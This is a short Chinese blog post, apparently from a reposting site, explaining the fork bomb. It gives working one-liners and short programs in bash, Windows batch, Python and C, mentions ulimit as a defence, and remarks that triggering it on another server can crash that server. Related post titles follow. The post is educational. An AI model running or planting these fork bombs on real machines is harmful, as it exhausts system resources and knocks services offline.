fork 炸弹
来源:互联网 发布:青岛淘宝网店代运营 编辑:程序博客网 时间:2024/04/19 14:13
fork炸弹是递归的经典案例,可以迅速的把系统资源耗尽
bash 版本
:(){ :|:&};:
本质上就是
function_name()
{
function_name | func_name &
};
function_name
ms batch版本
:s
start "" %0
goto s
python版本
import os
while True:
os.fork()
c语言版本:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}
炸弹一旦开启,很难停止,可以通过ulimit设定进程的个数,从而避免fork炸弹,若果把该脚本传到别的服务器上并触发他,服务器就可能挂掉。
参考文献:
http://en.wikipedia.org/wiki/Fork_bomb
0 0
- fork 炸弹
- fork 炸弹
- fork炸弹
- fork炸弹
- fork 炸弹
- Fork 系统炸弹
- fork炸弹代码
- BASH fork 炸弹 简述
- BASH fork 炸弹 简述
- 【linux脚本】fork炸弹
- linux脚本】fork炸弹
- linux fork炸弹
- 经典fork炸弹
- Linux fork炸弹的分析
- Linux fork炸弹及其预防
- Linux 递归经典:fork 炸弹
- 经典的 Fork 炸弹解析
- 经典的 Fork 炸弹解析
- 混淆的
- 玩台球有感(二)
- POJ -- 2240 Arbitrage (Floyd‘)
- 【PAT】1003. Emergency (25)
- 阿J的cocos2d-x学习笔记-元素消消看(二)-主场景的创建
- fork 炸弹
- 浅谈Web Service
- 内存池之一:基本概念
- POJ -- 1860 Currency Exchange()
- CSS中display属性:block、inline和inline-block的区别
- 给C#开发者代码审查清单
- TCP协议的通讯方式----三次握手
- python中if __name__ == '__main__': 的解析
- OCM 11g升级考试第二场搭建DataGuard遇到: prod - Physical standby database (disabled) 错误